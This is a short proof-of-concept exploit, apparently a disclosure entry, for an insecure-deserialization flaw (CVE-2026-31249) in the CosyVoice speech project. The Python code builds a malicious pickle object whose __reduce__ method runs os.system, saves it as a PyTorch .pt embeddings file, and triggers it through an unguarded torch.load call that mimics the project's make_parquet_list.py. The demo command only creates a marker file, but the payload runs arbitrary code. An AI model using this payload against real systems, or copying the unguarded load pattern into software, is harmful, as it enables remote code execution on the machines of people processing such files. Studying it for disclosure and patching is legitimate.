CVE-2026-31249 CosyVoice不安全反序列化漏洞

import torch import os import pickle # Simulate the creation of a malicious payload # This class defines what happens when the object is deserialized class MaliciousPayload: def __reduce__(self): # Return a tuple (callable, args) that will be executed # Example: creating a file to prove code execution return (os.system, ('touch /tmp/pwned_by_cve_2026_31249',)) # Generate the malicious .pt file print("[+] Generating malicious .pt file...") malicious_data = MaliciousPayload() # Save the object using torch.save (which uses pickle internally) with open('malicious_embeddings.pt', 'wb') as f: torch.save(malicious_data, f) print("[+] File 'malicious_embeddings.pt' created.") # --- VULNERABLE CODE SIMULATION --- # This mimics the code in make_parquet_list.py print("[+] Simulating victim processing the file...") try: # The vulnerable call: loading untrusted data without weights_only=True loaded_data = torch.load('malicious_embeddings.pt') print("[!] Exploit failed or code executed silently.") except Exception as e: print(f"[!] Error during load: {e}")